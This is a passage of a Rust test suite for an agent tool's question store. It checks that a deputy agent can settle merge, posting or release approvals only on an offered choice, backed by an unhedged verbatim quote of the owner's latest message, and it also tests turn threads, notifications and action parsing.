2862 "id": "20260902-231501-ab12",
2863 "run": "20260902-201256-9fb7",
2864 "node": "implement",
2865 "seat": "impl-A",
2866 "summary": "Which storage backend should the cache use?",
2867 "detail": "Both are already dependencies.",
2868 "choices": ["SQLite", "Redis"],
2869 "status": "open",
2870 "asked_at": "2026-09-02T23:15:01Z",
2871 "answered_at": null,
2872 "answer": null
2873}"#;
2874 std::fs::write(s.path_of(id), body).unwrap();
2875
2876 let q = s.get(id).unwrap();
2877 assert!(
2878 !q.panel,
2879 "an absent field means no panel, not a parse error"
2880 );
2881 assert!(q.assets.is_empty());
2882 assert_eq!(q.schema, 1);
2887 assert!(q.thread.is_empty());
2888 assert_eq!(
2889 q.answer_timeout, 0,
2890 "an absent field means unrecorded, not a zero-second deadline"
2891 );
2892 assert!(!q.waiting_on_agent());
2893 assert_eq!(q.summary, "Which storage backend should the cache use?");
2894 assert_eq!(
2895 s.list().len(),
2896 1,
2897 "and it is still listed; skipping it would hide an open question"
2898 );
2899 }
2900
2901 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2902 Turn {
2903 who,
2904 body: body.to_owned(),
2905 at,
2906 note: None,
2907 }
2908 }
2909
2910 #[test]
2911 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2912 let mut q = choice_question();
2915 q.thread
2916 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2917 let value = serde_json::to_value(&q.thread[0]).unwrap();
2918 let mut keys: Vec<&str> = value
2919 .as_object()
2920 .unwrap()
2921 .keys()
2922 .map(String::as_str)
2923 .collect();
2924 keys.sort_unstable();
2925 assert_eq!(keys, ["at", "body", "who"]);
2926 assert_eq!(value["who"], "operator");
2927 assert_eq!(value["body"], "why not Postgres?");
2928
2929 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2930 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2931 assert_eq!(parsed.who, Who::Agent);
2932 }
2933
2934 fn approval_question() -> Question {
2935 let mut q = Question::new(
2936 "run".into(),
2937 crate::land::APPROVAL_NODE.into(),
2938 "land".into(),
2939 "Merge?".into(),
2940 String::new(),
2941 vec!["merge".into(), "hold".into()],
2942 );
2943 let mut dep = Deputy::new("brief".into());
2944 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2945 q.deputy = Some(dep);
2946 q
2947 }
2948
2949 #[test]
2950 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
2951 let mut q = approval_question();
2952 q.choices.push(crate::land::REPAIR.into());
2953 q.say("maybe fix findings and re-review").unwrap();
2954 assert!(
2955 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
2956 .is_err()
2957 );
2958 q.say(crate::land::REPAIR).unwrap();
2959 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
2960 .unwrap();
2961 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
2962 assert_eq!(
2963 crate::land::approval(q.resolution().as_deref()),
2964 crate::land::Approval::Repair
2965 );
2966 }
2967
2968 #[test]
2969 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
2970 let mut q = approval_question();
2971 q.say("merge").unwrap();
2972 q.reply("sure?", vec!["merge".into(), "hold".into()])
2973 .unwrap();
2974 q.say(" Merge it please ").unwrap();
2975 assert!(
2976 q.settle_by_deputy("deputy-x", "merge", " ", None)
2977 .is_err(),
2978 "an empty quote is refused"
2979 );
2980 assert!(
2981 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
2982 .is_err(),
2983 "a quote the owner never said is refused"
2984 );
2985 assert_eq!(q.status, QuestionStatus::Open);
2986 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
2987 .unwrap();
2988 assert_eq!(q.resolution().as_deref(), Some("merge"));
2989 }
2990
2991 #[test]
2992 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
2993 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
2994 let mk = || {
2995 let mut q = Question::new(
2996 "run".into(),
2997 crate::github_text::ASK_NODE.into(),
2998 crate::github_text::ASK_SEAT.into(),
2999 "s".into(),
3000 String::new(),
3001 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3002 );
3003 let mut dep = Deputy::new("brief".into());
3004 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3005 q.deputy = Some(dep);
3006 q
3007 };
3008 let mut hedged = mk();
3009 hedged.say("Post the original, maybe?").unwrap();
3010 assert!(
3011 hedged
3012 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3013 .is_err()
3014 );
3015 let mut clear = mk();
3016 clear.say("Post the original text as it is.").unwrap();
3017 clear
3018 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3019 .unwrap();
3020 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3021 let mut japanese = mk();
3022 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3023 japanese.say(words).unwrap();
3024 japanese
3025 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3026 .unwrap();
3027 let mut unrelated = mk();
3028 unrelated.say("Proceed with the task").unwrap();
3029 assert!(
3030 unrelated
3031 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3032 .is_err()
3033 );
3034 for words in [
3035 "OK, post the original",
3036 "Yes, post original",
3037 "I'd like to post the original",
3038 ] {
3039 let mut natural = mk();
3040 natural.say(words).unwrap();
3041 natural
3042 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3043 .unwrap();
3044 }
3045 for (message, quote) in [
3046 (
3047 "ログには「元の説明で投稿しました」と記録されています。",
3048 "ログには「元の説明で投稿しました」と記録されています。",
3049 ),
3050 (
3051 "ログには「元の説明で投稿してください」と記録されています。",
3052 "元の説明で投稿してください",
3053 ),
3054 ] {
3055 let mut descriptive = mk();
3056 descriptive.say(message).unwrap();
3057 assert!(
3058 descriptive
3059 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3060 .is_err()
3061 );
3062 assert!(descriptive.status.open());
3063 assert!(descriptive.answer.is_none());
3064 }
3065 let mut descriptive = mk();
3066 let message = "Post original was the option I saw.";
3067 descriptive.say(message).unwrap();
3068 for quote in [message, "Post original"] {
3069 assert!(
3070 descriptive
3071 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3072 .is_err()
3073 );
3074 assert!(descriptive.status.open());
3075 assert!(descriptive.answer.is_none());
3076 }
3077 let mut safe = mk();
3079 safe.say("use the fallback").unwrap();
3080 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3081 .unwrap();
3082 }
3083
3084 #[test]
3085 fn posting_deputy_rejects_multiline_quoted_context() {
3086 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3087 for (command, choice) in [
3088 ("Post original", POST_ORIGINAL),
3089 ("Use rewrite", USE_REWRITE),
3090 ] {
3091 for message in [
3092 format!("The log contains:\n```\n{command}\n```"),
3093 format!("The log contains:\n\"\n{command}\n\""),
3094 format!("The log says: “Reported. {command}.”"),
3095 format!("The log says: “\n{command}\n”"),
3096 ]
3097 .into_iter()
3098 .chain(crate::github_text::reported_posting_messages(command))
3099 {
3100 let mut q = Question::new(
3101 "run".into(),
3102 ASK_NODE.into(),
3103 ASK_SEAT.into(),
3104 "s".into(),
3105 String::new(),
3106 vec![USE_FALLBACK.into(), choice.into()],
3107 );
3108 let mut dep = Deputy::new("brief".into());
3109 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3110 q.deputy = Some(dep);
3111 q.say(&message).unwrap();
3112 let tmp = tempfile::tempdir().unwrap();
3113 let questions = Questions::at(tmp.path().join("questions"));
3114 questions.put(&mut q).unwrap();
3115 for quote in [command, message.as_str()] {
3116 assert!(
3117 questions
3118 .update(&q.id, |stored| {
3119 stored.settle_by_deputy("deputy-x", choice, quote, None)
3120 })
3121 .is_err()
3122 );
3123 let after = questions.get(&q.id).unwrap();
3124 assert!(after.status.open());
3125 assert!(after.answer.is_none());
3126 }
3127 }
3128 }
3129 }
3130
3131 #[test]
3132 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3133 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3134 let mk = || {
3135 let mut q = Question::new(
3136 "run".into(),
3137 crate::github_text::ASK_NODE.into(),
3138 crate::github_text::ASK_SEAT.into(),
3139 "s".into(),
3140 String::new(),
3141 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3142 );
3143 let mut dep = Deputy::new("brief".into());
3144 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3145 q.deputy = Some(dep);
3146 q
3147 };
3148 let mut hedged = mk();
3149 hedged.say("Use the rewrite, maybe?").unwrap();
3150 assert!(
3151 hedged
3152 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3153 .is_err()
3154 );
3155 let mut descriptive = mk();
3156 let message = "Use rewrite was the option I saw.";
3157 descriptive.say(message).unwrap();
3158 for quote in [message, "Use rewrite"] {
3159 assert!(
3160 descriptive
3161 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3162 .is_err()
3163 );
3164 assert!(descriptive.status.open());
3165 assert!(descriptive.answer.is_none());
3166 }
3167 for words in [
3168 "Use the rewrite text as it is.",
3169 "I'd like to use the rewrite",
3170 "修正版で投稿してください。",
3171 ] {
3172 let mut clear = mk();
3173 clear.say(words).unwrap();
3174 clear
3175 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3176 .unwrap();
3177 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3178 }
3179 let mut safe = mk();
3181 safe.say("use the fallback").unwrap();
3182 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3183 .unwrap();
3184 }
3185
3186 #[test]
3187 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3188 let mk = |choices: Vec<String>| {
3189 let mut q = Question::new(
3190 String::new(),
3191 crate::bump::NOTICE_NODE.into(),
3192 "release-watch".into(),
3193 "Release?".into(),
3194 String::new(),
3195 choices,
3196 );
3197 let mut dep = Deputy::new("brief".into());
3198 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3199 q.deputy = Some(dep);
3200 q
3201 };
3202 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3203 assert!(crate::deputy::merge_gated(&approval));
3204 approval.say("マージしていいよ").unwrap();
3205 assert!(
3206 approval
3207 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3208 .is_err(),
3209 "a quote the owner never said is refused"
3210 );
3211 approval
3212 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3213 .unwrap();
3214
3215 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3216 assert!(!crate::deputy::merge_gated(&esc));
3217 esc.say("もう監視はいらない").unwrap();
3218 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3219 .unwrap();
3220 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3221 }
3222
3223 #[test]
3224 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3225 let mut q = approval_question();
3226 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3227 .unwrap();
3228 assert!(
3229 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3230 .is_err(),
3231 "the quote must be the owner's"
3232 );
3233 assert!(
3234 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3235 .is_err(),
3236 "`hold` still needs the whole message"
3237 );
3238 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3239 .unwrap();
3240 assert_eq!(q.resolution().as_deref(), Some("merge"));
3241 }
3242
3243 fn settle_ready() -> Question {
3244 let mut q = Question::new(
3245 "task".to_owned(),
3246 "conduct".to_owned(),
3247 "conduct".to_owned(),
3248 "Done?".to_owned(),
3249 String::new(),
3250 vec!["yes".to_owned(), "no".to_owned()],
3251 );
3252 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3253 seat.turns = 1;
3254 let mut dep = Deputy::new("brief".to_owned());
3255 dep.seat = Some(seat);
3256 q.deputy = Some(dep);
3257 q.say("setup done, and file a follow-up").unwrap();
3258 q
3259 }
3260
3261 #[test]
3262 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3263 let dir = tempfile::TempDir::new().unwrap();
3264 let store = Questions::at(dir.path().join("questions"));
3265 let mut q = settle_ready();
3266 let id = q.id.clone();
3267 store.put(&mut q).unwrap();
3268 store
3269 .update(&id, |q| {
3270 q.settle_by_deputy(
3271 "deputy-x",
3272 "yes",
3273 "setup done",
3274 Some(" no follow-up was queued "),
3275 )
3276 })
3277 .unwrap();
3278 let back = store.get(&id).unwrap();
3279 let turn = back.thread.last().unwrap();
3280 assert_eq!(turn.who, Who::Agent);
3281 assert!(turn.body.starts_with("Settled as `yes`"));
3282 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3283 assert_eq!(back.thread[0].note, None);
3284 }
3285
3286 #[test]
3287 fn an_empty_or_blank_settle_note_is_no_note() {
3288 for note in [None, Some(""), Some(" \n ")] {
3289 let mut q = settle_ready();
3290 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3291 .unwrap();
3292 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3293 let json = serde_json::to_string(&q).unwrap();
3294 assert!(!json.contains("\"note\""), "no key when there is none");
3295 }
3296 }
3297
3298 #[test]
3299 fn a_refused_settle_leaves_no_note_behind() {
3300 let mut q = settle_ready();
3301 let before = q.thread.clone();
3302 assert!(
3303 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3304 .is_err()
3305 );
3306 assert!(
3307 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3308 .is_err()
3309 );
3310 assert_eq!(q.thread, before);
3311 assert_eq!(q.status, QuestionStatus::Open);
3312 }
3313
3314 #[test]
3315 fn a_turn_written_before_notes_existed_still_reads() {
3316 let t: Turn =
3317 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3318 .unwrap();
3319 assert_eq!(t.note, None);
3320 }
3321
3322 #[test]
3323 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3324 let mut q = approval_question();
3325 q.say("merge").unwrap();
3326 q.reply("sure?", vec!["merge".into(), "hold".into()])
3327 .unwrap();
3328 q.say("wait, hold off").unwrap();
3329 assert!(
3330 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3331 .is_err()
3332 );
3333 assert_eq!(q.status, QuestionStatus::Open);
3334 }
3335
3336 #[test]
3337 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3338 let mut q = Question::new(
3339 "task".to_owned(),
3340 "conduct".to_owned(),
3341 "conduct".to_owned(),
3342 "Done?".to_owned(),
3343 String::new(),
3344 vec!["yes".to_owned(), "no".to_owned()],
3345 );
3346 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3347 seat.turns = 1;
3348 let mut dep = Deputy::new("brief".to_owned());
3349 dep.seat = Some(seat);
3350 q.deputy = Some(dep);
3351 q.say("setup done, go ahead").unwrap();
3352
3353 assert!(
3354 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3355 .is_err()
3356 );
3357 assert!(
3358 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3359 .is_err()
3360 );
3361 assert!(
3362 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3363 .is_err()
3364 );
3365 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3366 assert_eq!(q.status, QuestionStatus::Open);
3367
3368 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3369 .unwrap();
3370 assert_eq!(q.status, QuestionStatus::Answered);
3371 assert_eq!(q.resolution().as_deref(), Some("yes"));
3372 let last = q.thread.last().unwrap();
3373 assert_eq!(last.who, Who::Agent);
3374 assert!(
3375 last.body.contains("setup done"),
3376 "the quote stays on the record"
3377 );
3378 }
3379
3380 #[test]
3381 fn a_question_written_before_deputies_still_reads() {
3382 let mut q = Question::new(
3383 "task".to_owned(),
3384 "conduct".to_owned(),
3385 "conduct".to_owned(),
3386 "Done?".to_owned(),
3387 String::new(),
3388 Vec::new(),
3389 );
3390 q.schema = 4;
3391 let mut v = serde_json::to_value(&q).unwrap();
3392 v.as_object_mut().unwrap().remove("deputy");
3393 let back: Question = serde_json::from_value(v).unwrap();
3394 assert!(back.deputy.is_none());
3395 }
3396
3397 #[test]
3398 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3399 let mut q = choice_question();
3400 q.say("does the cache need eviction?").unwrap();
3401 assert_eq!(q.thread.len(), 1);
3402 assert_eq!(q.thread[0].who, Who::Operator);
3403 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3404 assert_eq!(q.status, QuestionStatus::Open);
3407 assert!(q.answer.is_none());
3408 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3409 }
3410
3411 #[test]
3412 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3413 let mut answered = choice_question();
3414 answered
3415 .answer(Answer::Choice("SQLite".to_owned()))
3416 .unwrap();
3417 let a = answered.say("still there?").unwrap_err().to_string();
3418 assert!(a.contains("already answered"), "{a}");
3419 let b = answered
3420 .reply("still there?", vec![])
3421 .unwrap_err()
3422 .to_string();
3423 assert!(b.contains("already answered"), "{b}");
3424
3425 let mut abandoned = choice_question();
3426 abandoned.abandon("timed out");
3427 let c = abandoned.say("hello?").unwrap_err().to_string();
3428 assert!(c.contains("abandoned"), "{c}");
3429
3430 let mut open = choice_question();
3431 let d = open.say(" ").unwrap_err().to_string();
3432 assert!(d.contains("empty"), "{d}");
3433 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3434 assert!(e.contains("empty"), "{e}");
3435 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3436 }
3437
3438 #[test]
3439 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3440 let mut q = choice_question();
3441 q.say("SQLite or Redis, but what about disk space?")
3442 .unwrap();
3443 assert!(q.waiting_on_agent());
3444
3445 q.reply(
3446 "SQLite: it is one file, no server to run.",
3447 vec!["SQLite".to_owned()],
3448 )
3449 .unwrap();
3450
3451 assert_eq!(q.choices, ["SQLite"]);
3452 assert!(
3453 !q.waiting_on_agent(),
3454 "the agent spoke, so the owner is the one being waited on now"
3455 );
3456 assert_eq!(q.thread.len(), 2);
3457 assert_eq!(q.thread[1].who, Who::Agent);
3458
3459 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3461 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3462 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3463 }
3464
3465 #[test]
3466 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3467 let mut fresh = choice_question();
3468 assert!(
3469 fresh.should_notify(Timestamp::now()),
3470 "nobody has been notified yet, so the first ask always pages"
3471 );
3472
3473 fresh.say("why not Postgres?").unwrap();
3474 let just_said = fresh.thread[0].at;
3475 assert!(
3476 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3477 "still on the screen a minute later; no need to page again"
3478 );
3479 assert!(
3480 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3481 "exactly the window: `>` means this side stays quiet"
3482 );
3483 assert!(
3484 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3485 "past the window: they may have walked away"
3486 );
3487 }
3488
3489 #[test]
3490 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3491 let (_dir, s) = store();
3492 let mut q = choice_question();
3493 s.put(&mut q).unwrap();
3494 q.say("why not Postgres?").unwrap();
3495 s.put(&mut q).unwrap();
3496 q.reply("no server to run", vec!["SQLite".to_owned()])
3497 .unwrap();
3498 s.put(&mut q).unwrap();
3499
3500 assert_eq!(
3501 s.count_open(),
3502 1,
3503 "one question that talked twice is still one open question"
3504 );
3505 assert_eq!(s.open_for(&q.run).len(), 1);
3506 }
3507
3508 #[tokio::test]
3509 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3510 let (dir, s) = store();
3511 let mut q = choice_question();
3512 let id = q.id.clone();
3513 let writer = Questions::at(dir.path().join("questions"));
3514 let handle = tokio::spawn(async move {
3515 tokio::time::sleep(Duration::from_millis(30)).await;
3516 let mut fresh = writer.get(&id).expect("the question was filed first");
3517 fresh.say("why not Postgres?").unwrap();
3518 writer.put(&mut fresh).unwrap();
3519 });
3520
3521 let got = wait_for_owner(
3522 &mut q,
3523 &s,
3524 &quiet(),
3525 Duration::from_secs(5),
3526 Duration::from_millis(10),
3527 )
3528 .await
3529 .unwrap();
3530
3531 handle.await.unwrap();
3532 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3533 assert_eq!(
3534 q.status,
3535 QuestionStatus::Open,
3536 "talking back is not a decision; the question stays open"
3537 );
3538 assert!(q.answer.is_none());
3539 }
3540
3541 #[test]
3542 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3543 let mut q = choice_question();
3544 q.say("A").unwrap();
3545 q.delivered_turns = q.thread.len();
3546 q.say("B").unwrap();
3547 q.reply("about A", vec![]).unwrap();
3548 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3549 q.delivered_turns = q.thread.len();
3550 assert_eq!(q.unread_from_owner(), None);
3551 }
3552
3553 #[test]
3554 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3555 let (_d, s) = store();
3556 let mut q = choice_question();
3557 s.put(&mut q).unwrap();
3558 q.say("first").unwrap();
3559 q.say("second").unwrap();
3560 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3561 s.put(&mut q).unwrap();
3562 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3563 let mut out = Vec::new();
3564 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3565 let shown = String::from_utf8(out).unwrap();
3566 let (a, b, c) = (
3567 shown.find("first").unwrap(),
3568 shown.find("second").unwrap(),
3569 shown.find("SQLite").unwrap(),
3570 );
3571 assert!(a < b && b < c, "{shown}");
3572 assert_eq!(q.delivered_turns, q.thread.len());
3573 assert!(q.answer_delivered);
3574 }
3575
3576 #[test]
3577 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3578 let mut q = choice_question();
3579 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3580 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3581 let mut q = choice_question();
3582 q.say("old").unwrap();
3583 q.delivered_turns = q.thread.len();
3584 q.say("new").unwrap();
3585 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3586 let shown = answer_for_agent(&q, "SQLite");
3587 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3588 }
3589
3590 #[test]
3591 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3592 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3593 let ok = parse_actions(
3594 &[
3595 "resume で続行する=resume".to_owned(),
3596 "wait=done".to_owned(),
3597 ],
3598 &choices,
3599 "run-1",
3600 )
3601 .unwrap();
3602 assert_eq!(
3603 ok["resume で続行する"],
3604 ChoiceAction::Resume {
3605 run: "run-1".into()
3606 }
3607 );
3608 assert_eq!(ok["wait"], ChoiceAction::Done);
3609
3610 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3611 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3612 assert_eq!(
3613 ChoiceAction::parse("x=requeue", "").unwrap().1,
3614 ChoiceAction::Requeue
3615 );
3616
3617 for bad in [
3618 "no-equals",
3619 "=done",
3620 "x=resume",
3621 "x=resume:",
3622 "x=explode",
3623 "x=done:1",
3624 ] {
3625 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3626 }
3627 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3628 assert!(
3629 parse_actions(
3630 &["wait=done".to_owned(), "wait=requeue".to_owned()],
3631 &choices,
3632 ""
3633 )
3634 .is_err()
3635 );
3636 }
3637
3638 #[test]
3639 fn only_a_chosen_label_with_an_action_is_actionable() {
3640 let mut q = choice_question();
3641 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3642 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3643 assert!(q.chosen_action().is_none(), "unanswered");
3644 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3645 assert!(
3646 q.chosen_action().is_none(),
3647 "a label that merely reads like an action does nothing"
3648 );
3649
3650 let mut q2 = choice_question();
3651 q2.choices = vec!["SQLite".to_owned()];
3652 q2.actions
3653 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3654 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3655 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3656 }
3657
3658 #[test]
3659 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3660 let mut q = choice_question();
3661 q.choices = vec!["A".to_owned(), "B".to_owned()];
3662 q.actions.insert("A".to_owned(), ChoiceAction::Done);
3663 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3664 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3665 assert_eq!(q.actions.len(), 1);
3666 assert!(q.actions.contains_key("B"));
3667
3668 let mut v = serde_json::to_value(&q).unwrap();
3669 v.as_object_mut().unwrap().remove("actions");
3670 let old: Question = serde_json::from_value(v).unwrap();
3671 assert!(old.actions.is_empty());
3672 }
3673}